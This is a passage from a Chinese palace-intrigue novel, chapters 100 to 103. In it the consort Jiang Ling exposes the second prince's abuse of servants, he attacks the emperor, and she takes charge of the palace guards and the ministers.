江舲看到领头的袁长生,眸色微微沉了沉。她不动声色上前,袁长生俯身见过礼,萧允瓒萧允琅煞有介事挺着小胸脯,颔首还礼,叫了声袁大伴。 “奴婢当不起三皇子四皇子的礼,真真折煞奴婢了。”袁长声恭敬谦卑地道。 萧允瓒奇怪地一眼看去,道:“这有何当不起的?” 江舲这时微笑着道:“是啊,袁大伴有何当不起之处?袁大伴受了伤,照样辛苦当差,我等一众人的安危,都仰仗着袁大伴了。” 伤筋断骨一百天,袁长生左手腕依然垂在身侧,兴许是近段时日操劳,他瘦了许多,眼底一片青色。比起以前的不近人情,如今他仿佛变得柔和,只客气地自谦,“奴婢还要当差,先行告退。” “且慢。”江舲垂眸叫了声,让萧允瓒萧允琅先去玩,对停下脚步的袁长生道:“对不住,有件事着实困惑,欲向袁大伴问个究竟。” 袁长生心中警惕,道:“不知娘娘有何事,只奴婢不一定之情,还请娘娘见谅。” “袁大伴保证知情。”江舲肯定地回了句,袁长声不接话,一副垂首聆听地模样。 “袁大伴夜里当差巡逻,可有听到一件奇怪之事?宫中到处都在传,夜里有人在惨叫痛哭,袁大伴可知从何处传出?” 袁长生眸光微沉,谨慎地道:“回娘娘,皇宫这般大,奴婢到处巡卫。兴许此事是真,可惜奴婢并不曾亲耳听到,不知从何传出。” 江舲唔了声,道:“有人说是从二皇子寝宫传出来,袁大伴巡卫时,要听得仔细些,莫要耽误了。二皇子本就受了伤,若再有意外闪失,袁大伴逃不了一个当差不力。” 袁长生脸色终是一变,他答得极为灵巧,道:“娘娘,奴婢若是遇上,当如实向皇上回禀,娘娘请放心。” 江舲权当没听明白,强调道:“既然都在说二皇子的寝宫,袁大伴你就该多派人巡护,毕竟事关二皇子,不得等闲视之。” 照着规矩,江舲不允插手袁长生的差使。他若点出来,估计江舲马上会翻脸,吵嚷出声。 江舲与柳贤妃的那场争执,足以看出她不容小觑。何况她伴在元明帝左右,深受宠信。 袁长生当然清楚萧允珏寝宫发生之事,面颊伤痕明显,腿脚微跛的皇子,大致已与储君之位失之交臂。失去争储本事的皇子,自不会在他身上费力,吃力不讨好。 江舲用意明显,想要借他之手,挑明萧允珏寝宫发生之事。 紧紧捂着的盖子,袁长生避无可避,只能捏着鼻子应下。惟恐再被江舲缠上,忙抬手见礼:“娘娘,奴婢告退。” 江舲没再多留他,点点头道:“袁大伴你且去忙,记得多派人手之事便可。唉,都是爹生娘养,可怜喽。” 她后面的话,像是在自言自语,转身离开。 袁长生脚步微顿,情不自禁抬眼朝江舲看去。 江舲察觉到袁长生锐利的目光,她并未回头,施施然进了侧门。 后宫太过安静,安静并非好事。 有些人既然枉为人,应当被扔出来祭天! 第100章 江舲来到重华宫, 在太阳下走了一段路,身上已微微冒出了细汗。 书房中,林贵妃尙穿着长袄, 膝盖上搭着锦被。她招呼江舲上前坐,看着文涓手上拿着的蔷薇花, 道:“这蔷薇新鲜,慧淑妃有心了。绣云, 你去把月白青天瓶拿出来, 正好配这蔷薇的粉,让这屋子, 也好沾沾春意。” 江舲朝窗棂外看去,道:“外面的天气好, 娘娘宫中的花木生得茂盛, 不如出去走动走动,外面正是满园的春,何须在这屋中赏。” 林贵妃微愣, 自嘲一笑, 掀开锦被起了身, “慧淑妃说得是, 外面春光正好, 再过几日, 就该入夏,今年的这个春啊, 真是……” 她心底不好受, 终是说不下去,神情一片萧瑟。 萧允瑞去世之后,繁琐的丧仪, 让林贵妃顾不上悲伤。在过了七七之后,她瞬间失去了精气神,整个人都精神恹恹。 江舲暗自叹息一声,陪着林贵妃沿着回廊缓慢走动。回廊右侧草木葳蕤,蝴蝶飞舞在花朵间,翕动的翅膀在太阳下绚丽夺目。 林贵妃脚步缓慢下来,驻足凝视着蝴蝶,周身上下都盈满了悲伤:“阿瑞两岁那年春日,有次他不知从何处捉了一只彩蝶,偷偷握在小手中,回屋要孝敬给我。我心里其实高兴极了,却好生训斥了他一顿。他若得我夸赞之后,常去抓虫蚁,被有心人引得落入危险,那还了得。阿瑞哭了一场,最后睡着时,尙不时抽泣,想是委屈极了。我守着他,心跟针扎一样疼。自此以后,我再也没责骂过阿瑞,却也也从未顺着他的性子来。无论多晚,他必须写完功课,我皆在旁边陪着他。” 她朝江舲看来,眼眶泛红,恍惚着问道:“你对阿瓒,可也是这般?” 江舲默默摇头,“阿瓒迄今还未上学堂,识了几个字,大字写得不好,贪玩淘气,天天惹皇上生气。常言道活到老学到老,就几年年幼能玩耍的时光,成人不易,有的是刻苦之时。再说,阿瓒他们又不用考科举,重要之处在经济民生,地理舆志。” 林贵妃愣住,神色若有所思,“非是如何治理天下?” 江舲想了想,问道:“贵妃娘娘觉着皇上将天下治理得如何?” 林贵妃不客气地道:“平庸之君。” 江舲莞尔,“娘娘真是坦诚。我倒不这般以为,大胤天下太平无战事,虽称不上海晏河清,却是大幸。” 林贵妃神色怔怔,道:“乱世人不如狗。守成之君,倒不算最差。” “今年宫中的蔷薇开得格外好,文涓她们三天两头采摘,犹开得满园皆是。听说二皇子寝宫也有几丛蔷薇,夜里时,二皇子砍了花枝,追着伺候的宫女内侍们一通抽打,寝宫中惨叫声震天。” 江舲略微提了萧允珏的情形,道:“人人皆夸盛世明君,何为盛世?要吃饱穿暖可不易,百姓顶多是活着。二皇子即便有经天纬地之才,却无怜悯仁慈,他不配为君,甚至不配为人。” 林贵妃听说过萧允珏的情形,她并未当做回事。听江舲言辞锐利,心思微转,道:“慧淑妃可是要借他之事,引柳贤妃出手?” 江舲道:“我对袁长生说过,让他夜里巡护时留心些。大皇子寝宫的异样甚是重大,必得禀报给皇上知晓。” “皇上知晓后,顶多不痛不痒斥骂他几句。”林贵妃道。 江舲道:“琼华阁朝臣进进出出,要是传出去,二皇子残暴不仁,朝臣就该劝皇上立储了。” 林贵妃神色震惊,斟酌之后,肃然道:“立储之事事关重大,阿瓒还小,慧淑妃要三思。” 当前江舲意不在储君,她自有打算,道:“朝臣上旨请皇上立储,已非一日两日之事。如今重新提起,倒不足为奇。赵德妃估计坐不住,如此大好的时机,柳贤妃怎能错过。” 林贵妃当即道:“我让绣云出宫回林府一趟,发动御史弹劾萧允珏。” 江修文父子这些年来,从舆部郎中升了一级,成了寺监少卿。在达官贵人遍地的京城,仅称得上芝麻小官。 江舲从未替他们谋划过升官,以他们两人的本事,官做得越大,风险反而越大。 两个师爷倒聪明,他们却无法深入朝堂。江舲拉拢林贵妃,便是为了林氏在朝堂上的势力。 至于林氏会独掌大权,江舲倒不担心。眼下操心这些尙为时过早,待她有足够高的身份之后,自有其他人为她所用。 夜已深,弯月悬在天际,朦胧月色出从树荫中洒下,斑斑点点。 光阴倏忽而过,春日伊始时绽放嫩芽的树枝,早已枝繁叶茂。 柳贤妃立在樱树下,微微仰头望着樱树。平常心情低落时,她习惯来树下安静矗立。如眼前这般,似乎在欣赏树,又似乎无甚入她的眼,她的眸中,总是一片荒凉。 袁长生一如既往站在阴影中,凝望着柳贤妃的侧影,神情哀伤。 自元宵之事后,柳贤妃愈发消瘦,脸色几近与月色一般苍白。 柳贤妃终于开了口,声音暗哑低沉:“江舲按耐不住了,她打算借你之手,将赵婉清无用的废物皇子推到世人前。皇家贵人要脸面,此事传开,朝臣又该让立太子了。” 早先白日遇到江舲时,袁长生很快就想到了这一层。他应了句是,“先前从大皇子寝宫前巡护而过,里面的叫嚷哭声方停。最近送了好几人到柳树巷,内侍省尚书内省重新送了宫人前去伺候。最近人人自危,生怕被送到大皇子身边当差。宋琼娘”他话语微顿,旋即改口:“宋宫正那边当差的宫人们,都收到了不少好处。” 柳贤妃似乎没注意到袁长生的停顿,目光不经意在袁长生的左手上略作停留,他手腕缠绕着布巾,系着精美的花结。 袁长生敏锐察觉到柳贤妃的举动,下意识解释道:“我手受伤之后,宋宫正得空时便来替我包扎。她在宫中多年,深得皇上信任,势力深厚,我想着她有用处,便与她虚与委蛇了几句” “这些皆不重要。” 柳贤妃打断袁长生的话,脸上浮起笑容,“你能得许多人仰慕,这是你的本事,无需解释。” 袁长生怔在那里,心像是被狠狠揪住,心酸难受得透不过气。他垂下眼睑,道:“明朝我要向皇上回差,娘娘打算如何做?” “江舲既然打着立她儿子为太子的心思,不如干脆助她一臂之力。赵婉清是聪明人,她知晓自己的处境,萧允珏身上留了伤,皇上对他芥蒂未消。萧允瑞死后得了亲王的封号,赵婉清从头到尾都没吭声,硬生生忍了,连萧允瑞推萧允珏下石阶之事,她都只字不提。赵婉清看得清楚,萧允珏只要活着,就还有机会。如今,她只要耐着性子,等。” 柳贤妃冷笑起来,眼神如刀,“如今江舲不打算让赵婉清等下去,要毁了萧允珏,赵婉清岂能坐以待毙,她还不得与江舲拼命。正好,我也不想等了。” 袁长生沉吟了下,道:“你与慧淑妃争执之事不了了之,我总觉得不安。” “事出反常必有妖,我也有所怀疑。皇上的性情,你我皆清楚不过。他若将我叫去怒骂一通,此事才算彻底过去。” 柳贤妃看向袁长生,眉眼微沉,凌厉地道:“所以,我们动作才要快。” 袁长生心神微凛,道了声好,“明朝我便如实向皇上回禀。” 柳贤妃轻点着头,问道:“你那边安排得如何了?” “你尽管放心。”袁长生沉默了下,道:“只要你愿意,我皆奉陪。” “我有何不愿,这是我一直的夙愿,求仁得仁。” 柳贤妃淡淡说了句,她垂下眼眸,脚尖点着地上细碎的月光,“你瞧,可像是泪珠?这后宫的眼泪啊,堆积起来,足以将皇宫淹没了。” 翌日,江舲与元明帝用过早膳,便领着萧允瓒萧允琅回屋。元明帝见外面天色好,未有朝臣候着,道:“阿瓒阿琅先回屋去写功课。” 萧允瓒萧允琅一起离开,元明帝对江舲道:“今朝难得空闲,你陪朕到庭院中坐一会。” 江舲求之不得,心道元明帝身上已快发霉,正好能晒一晒。她当即吩咐黄梁他们搬坐榻,将元明帝搬了出去。 黄梁与张善他们一起,累得头都出汗,终于安顿好元明帝,摆好茶水。 元明帝刚端起茶盏惬意地吃了两口,袁长生求见。 江舲心中一动,忙放下茶盏,道:“皇上有事,我先回屋去了。” “袁长生能有何事,你留下就是。”元明帝好不容易来到太阳下,心情大好,对黄梁道:“宣他进来吧。” 黄梁去传话,袁长生很快走了进来,他上前恭敬请安,元明帝摆了摆手,道:“你有何事?” 袁长生看向垂眸吃茶的江舲,欲言又止。元明帝见状不耐烦地道:“何事见不得人,你且道来就是。” “皇上,是二皇子的事。”袁长生飞快瞄了眼江舲,一脸为难地道。 元明帝听到事关萧允珏,他唔了声,不悦地道:“阿珏又怎地了?” 袁长生见元明帝未有让江舲回避之意,将萧允珏寝宫夜里发生之事,一五一十如实回禀。 元明帝的脸色难看起来,他好不容易得来的片刻悠闲,被萧允珏破坏殆尽。他声音一沉,怒道:“混账东西,成日尽胡闹,把他给朕叫来!” 江舲一看元明帝的反应,就知道他会如何处置。 只她猜对了一半,另外一半,着实是始料未及。《 》 100-110 第101章 萧允珏夜里吃酒, 白日睡到傍晚方会醒。此时正是他睡得正沉时,被元明帝叫来,尙睡眼惺忪。抬手请安时, 还禁不住打着呵欠。 元明帝已许久未见过萧允珏,此时定睛一瞧, 他震惊不已,差点没能认出来。 萧允珏比受伤之前胖了一圈, 右边眼角下的伤疤都快被撑开, 红肿狰狞。举止轻浮浮躁,神情萎靡不振。 被他带着滚下石阶, 元明帝心底本存着气,顿时气不打一出来, 骂道:“混账东西, 你的规矩呢,瞧你这幅无赖模样,真是丢尽了朕的脸!” 萧允珏歪扭立着, 鄙夷地瞥了眼坐在元明帝旁边的江舲, 不耐烦地道:“阿爹叫我来何事?” “大胆!” 元明帝一声怒喝, 指着萧允珏, 铁青着脸道:“朕叫你来, 还要经由你允许不成!朕被你连累着受了伤, 不见你来请安侍疾,成日饮酒作乐, 你可是在盼着朕早死, 忙不迭先庆贺,不孝的孽畜!” 自从受伤之后,萧允珏心有不甘, 满腹地怨气。他不敢看镜子中自己的脸,更不愿有人见到他走路时的模样。 起初,他还有几分清醒,被元明帝劈头盖脸一通骂,尤其还当着江舲的面,愤怒委屈在胸口翻腾。 “阿爹看不惯我,下旨将我赐死就是!反正阿爹还有两个好儿子,留着我这个孽畜作甚!” 萧允珏神色狰狞,眼神怨毒,挥舞着手臂冲元明帝大吼起来,“呵呵,我是孽畜,阿爹又算得什么,与你的宠妃一起,将我叫到面前来羞辱,阿爹何尝拿我当亲生儿子看待!” “孽畜,孽畜!” 元明帝气得嘴唇哆嗦,眼前阵阵发黑,胸脯剧烈起伏,抓起手边的茶盏砸了过去:“老子没你这个儿子,老子今天就打死你作数!” 茶汤不冷不热,溅到身上倒无碍,茶盏恰砸到手背上,萧允珏痛得跳脚大喊,他的腿脚不便,站立不稳摔倒在地。 萧允珏趴在青石地面上,手背传来的痛,远远不及他心里痛苦的万分之一。他恨意凛冽,嘶吼着爬起来,弓着身子双手乱舞,跌跌撞撞往前冲:“我不活了,我跟你们拼命,都别想活了!” 黄梁等伺候的内侍护卫,见到元明帝父子争执,都悄然躲到一边立着不敢做声。 周围禁卫内侍林立,在众目睽睽之下,江舲万万没想到,萧允珏竟敢动手! 元明帝腿伤未愈,坐在榻上动弹不得。眼瞧着萧允珏扭着肥硕的身子,如发疯的牛犊般,双眸赤红着到了跟前,他吓得声音都没了人形,“护驾,护驾!” 江舲离得近,眼见她要被波及,连忙抓起茶壶朝萧允珏掷出。茶壶装满了滚烫的水,她的力气小,在忙乱中准头不足,茶壶落在萧允珏身前。 萧允珏反应不及,一脚踩在茶壶盖上,双臂乱摇往前跌倒,一下撞在矮案上。矮案被萧允珏撞翻,连着杯盏一起翻倒。 江舲眼疾手快撑住矮案,花梨木的矮案沉重,她一下没撑住,矮案哐当倒向元明帝。 只听喀嚓骨骼碎裂的声响,元明帝大声惨叫起来。这时护卫黄梁他们涌上前,掀开矮案,将萧允珏死死按住,连着随行侍奉的内侍一起拖了下去。 江舲甩着酸痛的胳膊,看着疼得惨叫连连的元明帝,眼前一片混乱,她深呼吸一口气,扬声道:“张善,去传吴适山!张善,速速去将丁皇城使叫来。” “你!”江舲再一指禁卫头领魏沧,吩咐道:“将二皇子看好了。琼华阁所有的人,无令不得出去,无论是谁,无召不得进来,违者,一律照谋逆处置。若无令强闯者,直接砍了!” 江舲琼华阁住的这些时日,张善黄梁等御前侍奉的内侍宫女,早就习惯了听从她的安排。魏沧本不该听她的指令。只元明帝受伤,元明帝受伤,他与一众当差的禁卫,性命都难保。 惊吓慌乱中,魏沧哪顾得上其他,连连应下:“是,娘娘放心,属下一定守好琼华阁。”他朝禁卫一挥手,命令道:“带走!” 萧允珏终于彻底清醒,他见自己闯了滔天大祸,害怕地惨白着脸嚎叫道:“阿爹啊,阿爹啊,我错了,我一时糊涂了,阿爹救我啊!” 哭着喊完元明帝,萧允珏又开始喊赵德妃,“阿娘,阿娘救我啊,阿娘……” 魏沧懊恼不已,对禁卫使了个眼色。禁卫慌忙堵住了萧允珏的嘴,连拖带拽押走了。 黄梁领着内侍用软兜抬着元明帝回卧房,吴适山与太医背着药箱匆匆赶了来。两人不敢多问,顾不得擦拭额头的汗,赶忙看元明帝的伤势。 所幸元明帝除愈合大半的伤退,骨头重新裂开,其余只些擦伤淤青。 吴适山与太医忙着熟练地施针,躬身告退,“娘娘,臣开了方剂,等下让人随臣去取,过一阵臣再来给皇上施针。” 黄梁差心腹去取药,丁尙这时也赶了来,在门外候着。 江舲对元明帝道:“我担心皇上的安危,将丁皇城使叫了来,打算让他加派些人手守着垂拱殿,皇上以为如何?” 腿上不时传来阵阵钻心地疼,令元明帝既怒不可遏,又感到阵阵后怕,忙点了点头。旋即,他想到萧允珏,咬牙切齿道:“那个孽畜呢,你让人看好了,朕一定不会放过他!” 江舲道:“皇上放心,魏沧他们看住了二皇子,琼华阁无令不得随意进出。” 想到先前亏得有江舲出手拦着,否则以萧允珏的狠劲,说不定他连命都没了。如今有江舲坐镇,将一切安排得井井有条,元明帝长长松了口气,道:“朕都交给你了,你要替朕牢牢看住。” 江舲说是,丁尙随着黄梁进了屋,他上前请安,元明帝朝他摆手,道:“朕身子不好,你暂且听慧淑妃的旨意安排。” 丁尙在前来路上,已大致知晓琼华阁发生之事。他深知要变天了,听到元明帝的吩咐,还是吃了一惊。 皇城司守护京城皇城,元明帝将自己的安危,悉数交到江舲之手中! 江舲温声道:“皇上先好生歇着,我出去与丁皇城司说话。” 元明帝浑身虚弱乏力,他闭着眼睛,道:“去吧。” 江舲朝外走去,丁尙忙躬身告退,跟着她来到明间。 两人落座之后,江舲也不寒暄客套,道:“丁皇城司,先前二皇子行刺皇上之事,想必你已得知了。” 丁尙眼神微变,萧允珏当着众人的面冲向元明帝,确实算得上行刺。 行刺天子,乃是砍头的大罪! 江舲话锋一转,“二皇子是皇上的亲生骨肉,皇上要如何处置,那是皇上父子之间的家事。不过,我只怕被有心人利用,借机惑乱人心,危害大胤江山。” 丁尙听得头皮直发麻,后背冷汗津津,他不敢接话,附和道:“娘娘所言即是。” 江舲不再多言,道:“劳烦丁皇城司,亲自挑选忠厚可靠的禁卫值守。皇宫宫门的守卫,轮值换岗时辰,皆为机密,且不时更换。打个比方,原本王甲轮值守北宫门,待到他当差时,安排到南宫门去当值。至于琼华阁,无论是谁,无召一律不得进入。垂拱殿皆换成皇城司的禁卫,内勾当巡护,亦不得进入。” 她略微停顿片刻,“此事,我自会与袁大伴说。” 如此一来,内勾当巡护的守卫,悉数被更换掉。垂拱殿御前,皆为皇城司的禁卫! 内侍宫女出宫办差,一来二去与守卫熟悉起来,时常睁一只眼闭一只眼放他们进出,丁尙一清二楚。 宫中接连出事,丁尙心头控制不住直跳,他不敢多言,赶忙应下:“娘娘,臣这就去安排。” 江舲颔首道:“眼见天气热起来,当差风里来雨里去,着实辛苦。皇上定不会忘了你们的功劳,如今皇上龙体欠安,顾不上这些,我就先替皇上赏了。” 她叫了文涓进来,让她去取了五十两金锭,“这些丁皇城使先拿着,替当值的人买些酒水吃。” 元明帝以前赏给江舲的金锭,分了一些给薛老夫人带回娘家,余下的留到现在,终于派上了用场。 丁尙是元明帝的亲信重臣,位高权重,俸禄丰厚,不缺这五十两金。 不过,除去年节庆典时,丁尙极少得元明帝的赏赐。江舲称是赏给皇城司的兵将,却直接将五十两金交给他,由他自行安排。 丁尙只忠于元明帝,从不参与后宫嫔妃的争斗,以及立储之事。 眼下元明帝只得萧允瓒萧允琅两个须全须尾的皇子,他们一人是江舲亲生,一人则由她扶养。 储君之事基本已经明朗,元明帝亲言让他听令于江舲。冲着江舲这份大方气度,丁尙犹豫了下,道:“娘娘,薛沧他们当差不力,按律当斩。只当时的情形,他们实在有心无力,求娘娘看在他们忠心不二的份上,能留他们一条命。” 江舲道:“当时变故确实发生得太快,全部的人都始料未及。薛沧他们离得远,前来救驾已来不及。唉,这件事我做不得主,我只能替他们在皇上面前求求情。” 丁尙能得江舲求情,已经满意不已,忙谢恩告退,前去忙碌。 江舲又唤来黄梁,道:“你去传政事堂的几个相爷,卫大学士他们来琼华阁。” 黄梁领旨前去了,江舲转身回了卧房。 太阳升上正空,已到用午膳的时辰。 江舲一上午忙得团团转,此刻心头汪着一团火,半点都不觉着饿,依旧精神奕奕。 如此大好时机,她怎能错过。 她不但要将手逐渐伸向前朝,还要借机铲除柳贤妃袁长生一系! 第102章 窗棂紧闭, 卧房内阴沉昏暗。药味混杂着酸臭味迎面扑来,江舲甫一进屋,好险憋过气去。 “外面春光天气正好呢。”江舲皱眉, 吩咐肃立在墙角角落的内侍前去打开窗棂后,摆手让他们退下。 元明帝精神恹恹靠在床头, 太阳从窗棂透进来,他干涩的眼睛顿时变得难受, 不禁抬手遮挡, 不悦地道:“将窗棂关上!” 江舲权当没听见,在床边的锦凳上坐下来, “皇上可要传膳?” “朕不饿!”片刻后,元明帝眼睛适应了些, 将手放了下来, 暂且忘了让江舲关窗之事,转而抱怨道:“服了一大碗汤药下肚,朕哪还吃得下!” “那待过一阵, 皇上肚子空了再用膳。”江舲从善如流接了句, 叹了口气, 神情为难起来, 道:“皇上, 我已经安排丁皇城使收好宫门垂拱殿。只如今皇上打算如何处置二皇子?” 元明帝心里本不好过, 被江舲一提及,顿时控制不住地眼一红, 哽咽道:“朕究竟做错了何事, 怎地他们一个个都不省心,朕这里……” 他抬手捂住胸口,神情痛楚, 伤心欲绝道:“真真是痛不欲生啊!” 江舲听得滑稽,差点没笑出声。事到如今,她已彻底看明白,萧允珏做出这些举动,再也正常不过。 元明帝的错,罄竹难书。他凉薄自私,只管广撒种,却不管教。 皇子公主们自小读书,识字。皇子们更得名师大儒们教导,学习经史子集君子六艺等。 只无论是圣人之言,君子之道,皆教不会他们如何做人。 生长在皇家,自幼见惯了权势倾轧。哪怕再早熟,身体的发育决定了一件事,无论是萧允瑞萧允珏,始终只是冲动叛逆的少年。 同生活在皇宫之中,深宫重重,彼此之间隔着宫墙,见面不多,犹如远隔千里。 何况,君王在先,父子亲情少得可怜。 明帝是帝王,无论君臣儿子,在他面前皆要服从,习惯了高高在上,出言便是训斥指责。 萧允瑞也没学过,何为真正的善,何为忍让。天家父子,都不会拿人当人看。 自受伤之后,一朝跌落,可想而知他的委屈,估计觉得全天下都对不住他。 孝道这块薄如蝉翼的遮羞布,便无力支撑,他当时要是手上有刀,十有八九会大肆屠戮。 “皇上一向疼爱儿女,睿亲王将将过世,二皇子他又……常言道儿女都是债,皇上心中肯定不好受,亲生的骨肉,少一根头发都会心疼半晌。” 江舲叹着气,轻言细语攻心为上,直说得元明帝流泪不止。 “朕对他们寄予厚望,以后大胤的江山,还要靠他们延续下去。如今闹成这般,朕百年以后,有何脸面对萧氏祖宗啊!” “皇上所言极是,皇上一则为了大胤江山,二则为了儿女,日理万机,操碎了心啊!” 可惜江舲实在哭不出来,努力地陪着元明帝唏嘘哀叹,话锋很快一转。 “皇上舍不得二皇子,可皇上还有大胤江山,大胤的子民。不怕皇上笑话,如今我还吓得手抖不停。” 江舲抬起先前用力过的右手,她用力过度,手腕还未恢复力气,抬起时止不住地抖动。 “皇上已经历经过一次受伤,伤还未愈合,又来了一次。皇上,我怕得很,要是再来一次,那该如何办才好啊!” 元明帝泪眼婆娑瞧着江舲的手腕,眼泪瞬间收了回去,神色若有所思。 受伤之时,元明帝只恨不得将萧允珏凌迟。待躺到床上时,毕竟是亲生儿子,元明帝的愤怒逐渐变成了难过。要如何处置萧允珏,他一时也拿不定主意。 江舲抖动的手腕提醒了他,倘若她反应得慢些,不曾挡住矮案,他的双腿约莫都保不住。 身上的伤,皆是萧允珏所赐。休说他是天子,哪怕在寻常百姓家,萧允珏做出这些事,少不了一个不孝的罪名。 江舲觑着元明帝的神色,步步为营,道:“皇上,天家无小事。我说句大不韪的话,近来发生之事,只怕到处都传开了。先有睿亲王,再有二皇子,事关江山社稷,皇上不如与朝臣们商议,试探一下朝臣们的反应。” 以元明帝的性情,即便恨不得将萧允珏碎尸万段,他要做宽厚的仁慈之君,就不得下令处死萧允珏。 江舲更不能替他决定,一旦他后悔,到时就全成了她的错。 当下的重点,并不在萧允珏的生死上,她有更重要的目标。 元明帝拧眉思索,点点头道:“你说得是,朕近来身子不便,荒废了朝政,被那群朝臣糊弄了过去。” 江舲垂下眼睑,建议道:“事不宜迟,皇上先见见政事堂的几位相爷,卫大学士。” 萧允珏之事确实拖不得,元明帝下令道:“去宣他们来见朕。” 江舲见打成目的,心头暗喜,起身走出屋。前去政事堂找几个相爷的黄梁已经立在门口,江舲也不多问,径直道:“皇上宣郑相卫大学士他们来觐见。” 黄梁恭敬地道:“娘娘,郑相他们已经在客舍候着,奴婢这就去传旨。” 江舲转身回卧房,偷偷瞥了元明帝一眼,在床边的锦凳上坐下,倒了盏茶奉上,“皇上吃几口茶缓缓。” 元明帝要见朝臣,江舲却留了下来,他似乎并无察觉到不妥。伤处不时传来阵阵疼,他虚弱地喘着气,就着江舲的手吃了几口温茶。 “淡得很,吃到嘴里没滋没味。”元明帝躺回去,不满地道。 “皇上在服药,不宜吃浓茶。”江舲放下茶盏,温声劝道。 元明帝面上看似不悦,对江舲的体贴入微却很是受用,嗔怪地道:“你对太医的话言听计从,对朕的话却当做耳边风了。” 萧允瓒萧允琅常要用糖奖励,江舲荷包中总是放着两块松子糖,她取了一块出来塞到元明帝嘴里:“皇上甜甜嘴。” 元明帝一个不察,嘴里被江舲塞了东西。他惊得往后仰,欲将开口训斥时,舌尖尝到丝丝甜味。 这时,黄梁领着政事堂的三个相爷,卫大学士进了屋。 元明帝暗自斜了眼江舲,含着糖,甜蜜仿佛流淌到了心中去。 政事堂共有三个相爷,以郑相为首,孙相次之,两人常有争执。郭相最年轻,资历浅,基本上以郑相孙相的主意为主。 大胤的大学士乃是贴职,卫大学士的差遣为谏院的知谏院,主要负责规谏天子。他学识渊博,刚正不阿,深得读书士人的尊崇,得了大学士的头衔。 卫大学士时常规劝元明帝,惹得他抱怨不断。不过,卫大学士的品行以及他在读书士人中的影响,元明帝对他极为信任,器重。 江舲近段时日窝在寝宫的坐榻上歇息,与元明帝同宿一屋,吃苦受罪。同时,她亦收获颇多,对朝臣,朝堂上下了解得七七八八。 大胤的武官,最高属枢密使。无论是枢密使或兵部尚书,并无调兵遣将的权力,兵权在元明帝之手。 江舲叫来这四人,当是因为,他们乃是文臣中品级最高,权力最大的官员。 几人上前请安,江舲起身避开。元明帝抬手叫起赐座,吩咐黄梁奉茶,同时示意江舲也坐。 江舲回到锦凳上坐下,郑相几人视线飞快在她身上扫过,眼观鼻鼻观心坐了下来。 卫大学士常在琼华阁见到江舲,往常他们前来见元明帝时,她都规规矩矩避开。 现在政事堂几个相爷与他都在,江舲却还在屋中,简直成何体统! 卫大学士眉头皱得几乎连成一道线,神色严肃,直言不讳道:“皇上龙体欠安,慧淑妃娘娘理当前来侍疾。祖宗规矩却不可废,后宫嫔妃不得插手朝政,皇上召臣等来,所为朝政大事,还请慧淑妃娘娘先行回避。” 江舲早就预料到会被卫大学士指责,虽有千万种回击他的方式,她始终谦虚且克制。 毕竟她并非要与他们干仗,更不争一时闲气,诚惶诚恐地道:“卫大学士所言的朝政大事,我半个字都听不懂。皇上先前又受了伤,我恰好在场,留下来,是为了侍奉皇上左右,也是做个见证。” 元明帝见江舲垂头耷脑,心里不舍,禁不住脸色微沉,道:“她懂甚朝政大事,朕身子不适,她要留下来侍疾。” 几人听到元明帝受伤,神情立刻一转,倏地站起身,目露关切担忧。 卫大学士惊呼一声,焦急地道:“皇上伤到了何处,怎地又受了伤,可有请太医诊治?” 江舲不动声色打量过去,她能断定,郑相他们肯定听到了些风声。 不得窥探御前,此事着实棘手,即便得知了消息,也要装作不知了。 既然留了下来,江舲当然要站在前面,她望着元明帝,主动道:“皇上龙体欠安,得要多歇息,由我来告知几位事情缘由可好?” 元明帝确实又累又痛,他沉吟了下,便点头应了,“你只管说便是。” 江舲从袁长生前来琼华阁,向元明帝回禀萧允珏寝宫之事说起,不加任何情绪,将事情前后经过,如实娓娓道来。 “皇上旧伤未愈,又添新伤,须得歇息养伤。二皇子之事,皇上就拜托各位了。” 郑相嘴张了张,眉毛微蹙,终究不曾做声。孙相与他反应一样,半晌后未说话。郭相则听得瞠目结舌,一脸的难以置信。 卫大学士忧心忡忡望着元明帝的腿,两道眉毛往下耷拉,神色格外沉重。 江舲的话,听上去轻描淡写,将如何处置萧允珏之事交给了他们。 一时间,屋内鸦雀无声,连卫大学士亦沉默不语。 事关皇室血脉,无人敢出头做主! 第103章 屋中死一般的沉寂。 元明帝脸色难看至极, 他的肱股之臣,在他最需要时,无一人肯出力! 郑相孙相郭相仿佛在冥思苦想, 三人眼观鼻鼻观心端坐着,额头有细密的汗渗出。卫大学士眉头紧拧, 半晌后开了口:“皇上,大胤以孝治天下, 二皇子他不孝不悌, 臣以为,要按照规矩处罚, 以儆效尤。” “规矩,照何种规矩?” 元明帝没来由地火冒三丈, 规矩, 胆敢在他面前言规矩,真是滑稽至极! 卫大学士察觉到他言语的不妥,不过他只以为, 萧允珏毕竟是元明帝亲生儿子, 虎毒不食子, 他哪舍得真照着规矩处罚了。 郑相掀起眼皮瞄了眼卫大学士, 神色微不可查变了变。孙相与郭相涵养比不得郑相, 两人都齐齐看向卫大学士, 神色惊讶。 江舲嘴角抽搐了下,暗自叹息了声。卫大学士确实刚正不阿了些, 可惜刚直在封建大胤, 显得不合时宜。 规矩在皇家比较灵活多变,需要时,一个规矩压下来, 堪比如来的五指山。但规矩决不能明晃晃出现在皇家,天威难测,皇家不受任何的约束,必须高高在上。 江舲见卫大学士涨红的脸,一时半会也议不出个所以然,便温声道:“皇上还未曾用午膳,龙体要紧,先用午膳吧。让几位相爷卫大学士也先留在琼华阁用膳,歇一阵再议可好?” 元明帝哼了声,不悦摆了摆手,“你们退下吧,回去好生商议,拿出个章程来!” 几人如释重负,赶忙施礼告退。江舲出屋传膳,午间的太阳明晃晃照着,郭相孙相走在前面,郑相卫大学士落后一步,小声说着话。 郑相余光看到江舲立在廊檐下,他眼神微转,手肘悄然撞了撞卫大学士,示意他道:“慧淑妃伴在皇上左右,先前慧淑妃也在场,不如去问慧淑妃讨个主意。” “后宫妇人不得干政!”卫大学士脖子一梗,当即拒绝了。 “老卫,你真是!唉!”郑相斜撇着卫大学士,毫不掩饰地嫌弃,“先前你都听到了,天下无私事,到底又是皇上自家的事。非关立储,自家的事,何足为外人道。慧淑妃是天家人,是自家事,她的主意,比你我的要紧!” 卫大学士心中懊恼,哼了声到底没说什么。郑相瞪了他一眼,懒得搭理他,转身朝江舲走去。卫大学士见状,犹豫着跟了上去。走到前面的孙相郭相听到动静回头,彼此对视一眼,忙紧随其后跟着。 江舲微愣,缓步迎了过去,欠身问道:“不知几位可有事?” 郑相抬手见礼,脸上堆满笑,道:“慧淑妃先前随皇上在一起,臣有些不明白之处,想要请教慧淑妃,不知慧淑妃可否指点一二?” “指点不敢,郑相有不明白之处,尽管问便是。” 